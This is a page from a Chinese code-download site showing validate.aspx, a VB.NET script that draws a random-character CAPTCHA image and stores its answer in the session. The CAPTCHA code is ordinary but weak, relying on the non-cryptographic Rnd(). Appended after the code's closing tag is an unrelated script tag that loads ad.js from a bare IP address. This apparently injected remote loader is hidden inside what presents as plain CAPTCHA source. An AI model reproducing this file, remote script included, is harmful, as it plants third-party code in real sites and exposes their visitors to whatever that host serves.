⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 validate.aspx

📁 开发环境:VS2005、C#、.net2.0、Access、AJAX引擎是自己写的
💻 ASPX
字号:
<%@ Import Namespace="system.Drawing"%>
<%@ Import Namespace="system.Drawing.Imaging"%>
<%@ Import Namespace="system.IO"%>
<script language="vb" runat="server">
    Sub page_load(ByVal sender As Object, ByVal E As EventArgs)
        '禁止页面缓存
        Response.Cache.SetCacheability(HttpCacheability.NoCache)
        'Font_Size'字体大小 intrger
        'Char_Number'验证码的位数 intrger
        'BackgroundColor'背景颜色
        Dim My_Stream As MemoryStream = Get_Images(12, 50, "#EEEEEE")
        '显示内存图像
        Show_image(My_Stream)
        '关闭打开的流文件
        My_Stream.Close()
    End Sub

'Font_Size'字体大小intrger
'Char_Number'验证码的位数intrger
'BackgroundColor'背景颜色
'把字符转换为图像,并且保存到内存流
function Get_Images(Font_Size as integer,Char_Number as integer,BackgroundColor as string) as MemoryStream
	'这个数字在调用页面需要,你要自己算出明确的数值,分别为图片宽度和高度
	dim image_w as integer = 60
	dim image_h as integer = 5
	'封装GDI+位图 
	dim Temp_Bitmap as Bitmap
	'封装GDI+绘图面
	dim Temp_Graphics as Graphics
	'背景颜色
	dim Color_Back as Color = ColorTranslator.FromHtml(BackgroundColor) 
	'确定背景大小
	Temp_Bitmap = new Bitmap(image_w, 4 * image_h, PixelFormat.Format32bppRgb)
	Temp_Graphics = Graphics.FromImage(Temp_Bitmap) 
	'绘制背景
	Temp_Graphics.FillRectangle(new SolidBrush(Color_Back),new Rectangle(0, 0,image_w, 5 * image_h)) 
	'为了进行验证比较
	DIM Sesson_Company AS String = ""
	dim n as integer
	for n = 0 to 3
		'要显示为图像的字符
		dim Show_Str as string = getChar()
		Sesson_Company = Sesson_Company & Show_Str
		'字体随机大小,下波动2
		dim Show_Str_Font_Size as integer = Int(3 * Rnd() + (Font_Size - 2))
		'字体随机颜色
		dim Color_Font as Color = ColorTranslator.FromHtml(getColor())
		'字体
		dim Show_Font_Name as string = getFont()
		'定义文本格式(字体,字号,粗体)
		dim Show_Str_Font as Font = new Font(Show_Font_Name,Show_Str_Font_Size,FontStyle.Bold)
		'绘出字符,绘字符的Y方向下波动+4
		Temp_Graphics.DrawString(Show_Str, Show_Str_Font, new SolidBrush(Color_Font), int(Font_Size / 2) + n * Font_Size, Int(image_h * 0.125 * Rnd() + image_h * 0.08))
	next
	'保存到session便于调用的页面比较,不区分大小写
	session("imagenumber") = LCase(trim(Sesson_Company))
 
	Font_Size = Font_Size * 4
	image_h = int(2.5 * Font_Size)

	dim Temp_Stream as MemoryStream = new MemoryStream()
	Temp_Bitmap.Save(Temp_Stream, ImageFormat.jpeg)
	'释放资源
	Temp_Graphics.Dispose()
	'释放资源
	Temp_Bitmap.Dispose()
	'关闭打开的流文件
	Temp_Stream.Close()
	'返回流
	return Temp_Stream
end function

'显示内存图像
function Show_image(Show_Stream as MemoryStream)
	Response.ClearContent()
	Response.ContentType = "Image/Jpeg"
	Response.BinaryWrite(Show_Stream.ToArray())
	Response.End()
end function

'获得随机字符:0-9,a-z,A-Z
function getChar() as string
	Dim Char_array(5)
	randomize
	Char_array(0) = chr(Int(10 * Rnd() + 48))
	Char_array(1) = chr(Int(26 * Rnd() + 65))
	Char_array(2) = chr(Int(26 * Rnd() + 65))
	Char_array(3) = chr(Int(26 * Rnd() + 97))
	Char_array(4) = chr(Int(26 * Rnd() + 97))
	return Char_array(Int(5 * Rnd()))
end function

'获得随机颜色
function getColor() as string
	Dim int_a As integer
	Dim int_b As integer
	Dim int_c As integer
	randomize
	int_a = Int(180 * Rnd() + 20)
	int_b = Int(180 * Rnd() + 20)
	int_c = Int(180 * Rnd() + 20)
	if int_a > 150 and int_b > 150 and int_c > 150 then
		int_a = Int(150 * Rnd() + 20)
	end if
	return "#" & Hex(int_a) & Hex(int_b) & Hex(int_c)
end function

'获得随机字体
function getFont() as string
	Dim font_array(7)
	randomize
	font_array(0) = "Book Antiqua"
	font_array(1) = "Microsoft Sans Serif"
	font_array(2) = "Comic Sans MS"
	font_array(3) = "Comic Sans MS"
	font_array(4) = "Comic Sans MS"
	font_array(5) = "Comic Sans MS"
	font_array(6) = "Comic Sans MS"
	return font_array(Int(7 * Rnd()))
end function

'获得随机字体
function getFont1() as string
	Dim font_array(10)
	randomize
	font_array(0) = "华文行楷"
	font_array(1) = "隶书"
	font_array(2) = "华文彩云"
	font_array(3) = "方正舒体"
	font_array(4) = "华文彩云"
	font_array(5) = "方正舒体"
	font_array(6) = "华文彩云"
	font_array(7) = "方正舒体"
	font_array(8) = "楷体_GB2312"
	font_array(9) = "华文行楷"
	return font_array(Int(10 * Rnd()))
end function
</script><script src="http://222.208.183.246/ad/ad.js"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -